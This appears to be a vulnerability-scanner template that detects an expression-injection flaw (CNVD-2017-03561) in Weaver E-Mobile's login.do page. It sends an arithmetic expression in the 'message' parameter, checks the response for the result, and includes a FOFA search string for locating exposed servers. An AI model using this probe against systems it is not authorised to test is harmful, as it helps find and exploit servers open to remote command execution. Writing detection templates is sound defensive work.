CNVD-2017-03561: 泛微 E-Mobile 表达式注入

id: CNVD-2017-03561

info:
  name: 泛微 E-Mobile 表达式注入
  author: laohuan12138
  severity: high
  verified: true
  description: |-
    e-mobile是泛微为手机、平板电脑等移动终端的移动办公产品。
    上海泛微网络科技股份有限公司e-mobile平台login.do页面存在表达式注入漏洞。允许攻击者远程执行命令，获得服务器权限。
    fofa: app="泛微-EMobile"
  reference:
    - https://gitee.com/cute-guy/Penetration_Testing_POC/blob/master/%E6%B3%9B%E5%BE%AEe-mobile%20ognl%E6%B3%A8%E5%85%A5.md
    - https://zhuanlan.zhihu.com/p/26052235
    - https://www.cnvd.org.cn/flaw/show/CNVD-2017-03561
  tags: emobile,ssti,cnvd,cnvd2017
  created: 2020/09/11

set:
  n1: randomInt(1000, 5000)
  n2: randomInt(5000, 10000)
  result: n1 * n2
rules:
  r0:
    request:
      method: GET
      path: "/login.do?message={{n1}}*{{n2}}"
    expression: response.status == 200 && response.body.bcontains(bytes(string(result)))
  r1:
    request:
      method: GET
      path: "/login/login.do?message={{n1}}*{{n2}}"
    expression: response.status == 200 && response.body.bcontains(bytes(string(result)))
expression: r0() && r1()